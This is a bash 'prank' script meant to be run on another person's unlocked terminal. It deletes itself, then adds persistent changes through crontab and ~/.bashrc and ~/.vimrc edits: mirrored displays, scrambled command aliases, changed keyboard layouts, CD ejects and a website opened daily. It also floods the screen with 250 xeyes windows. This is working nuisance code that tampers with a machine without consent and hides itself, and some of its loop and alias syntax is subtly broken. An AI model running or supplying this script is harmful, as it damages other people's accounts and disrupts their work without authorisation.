#!/bin/bash
#############################
#        Prank file         #
#   by Sebastian Paaske     #
# ######################### #
# That'll teach ya to lock  #
#      your terminal.       #
# ######################### #
#   http://prank.coq.dk     #
#############################

# Preemptively delete the script from the system
rm "$0"

# Determine output device for our X trickery
DEVICE=`xrandr -q|awk '/ connected/{print $1; exit;}'`

# Seed the RNG
RANDOM=`date '+%s'`

# Semi-permanent prank
for n in {1 .. $[($RANDOM % 3) + 1]}
do
    case $[$RANDOM % 10] in
        0) # Mirror the display weekly
            crontab -l | sed "\$a\@weekly /usr/bin/xrandr --output $DEVICE --reflect xy" | crontab -
            ;;
        1) # Mirror the display every time a bash shell is started
            echo "xrandr --output $DEVICE --reflect xy" >> ~/.bashrc
            ;;
        2) # Remove VIM colors
            echo '" Improve color scheme' >> ~/.vimrc
            echo 'set t_Co=0' >> ~/.vimrc
            ;;
        3) # Screw up aliases
            echo '# Helpful aliases' >> ~/.bashrc
            echo "alias ls=`which ln`" >> ~/.bashrc
            echo "alias ln=`which man`" >> ~/.bashrc
            echo "alias man=`which cat`" >> ~/.bashrc
            echo "alias cat=`which htop`" >> ~/.bashrc
            echo "alias python=`which perl`" >> ~/.bashrc
            # Let the editor wars begin
            echo "alias emacs=`which vim`" >> ~/.bashrc
            echo "alias emacsclient=`which vim`" >> ~/.bashrc
            echo "alias vim=`which emacs`" >> ~/.bashrc
            echo "alias gvim=`which emacs`" >> ~/.bashrc
            echo "alias vi=`which emacs`" >> ~/.bashrc
            echo "alias nano=`which gedit`" >> ~/.bashrc
            echo "alias ed=`which gedit`" >> ~/.bashrc
            echo "alias gedit=`which nano`" >> ~/.bashrc
            ;;
        4) # Set keyboard layout to dvorak
            echo "setxkbmap dvorak" >> ~/.bashrc
            ;;
        5) # Set keyboard layout to colemak
            echo "setxkbmap us colemak" >> ~/.bashrc
            ;;
        6) # Set keyboard layout to turkish
            echo "setxkbmap tr" >> ~/.bashrc
            ;;
        7) # Set default editor to gedit
            echo "export EDITOR=gedit" >> ~/.bashrc
            ;;
        8) # Eject CD-drive on certain commands
            echo "alias ls=\"sh -c 'eject &' && `which ls`\"" >> ~/.bashrc
            echo "alias cd=\"sh -c 'eject &' && `which cd`\"" >> ~/.bashrc
            ;;
        9) # Open beepdog daily
            crontab -l | sed "\$a\@daily nohup www-browser http://beepdog.us >> /dev/null &" | crontab -
            ;;
    esac
done

# Active distraction prank
for n in {1 .. $[($RANDOM % 3) + 1]}
do
    case $[$RANDOM % 8] in
        0) # Mirror the display
            xrandr --output $DEVICE --reflect xy
            ;;
        1) # Set keyboard layout to dvorak
            setxkbmap dvorak
            ;;
        2) # Set keyboard layout to colemak
            setxkbmap us colemak
            ;;
        3) # Set keyboard layout to turkish
            setxkbmap tr
            ;;
        4) # Open lots of eyes
            for i in {1 .. 250}
            do
                nohup xeyes >> /dev/null &
            done
            ;;
        5) # Flip display
            xrandr --output $DEVICE --reflect x
            ;;
        6) # Flip display
            xrandr --output $DEVICE --reflect y
            ;;
        7) # Beepdog!
            nohup www-browser http://beepdog.us >> /dev/null &
            ;;
    esac
done

clear
echo "Hello there. Nice to meet you."
echo "You might want to remember to lock your screen next time."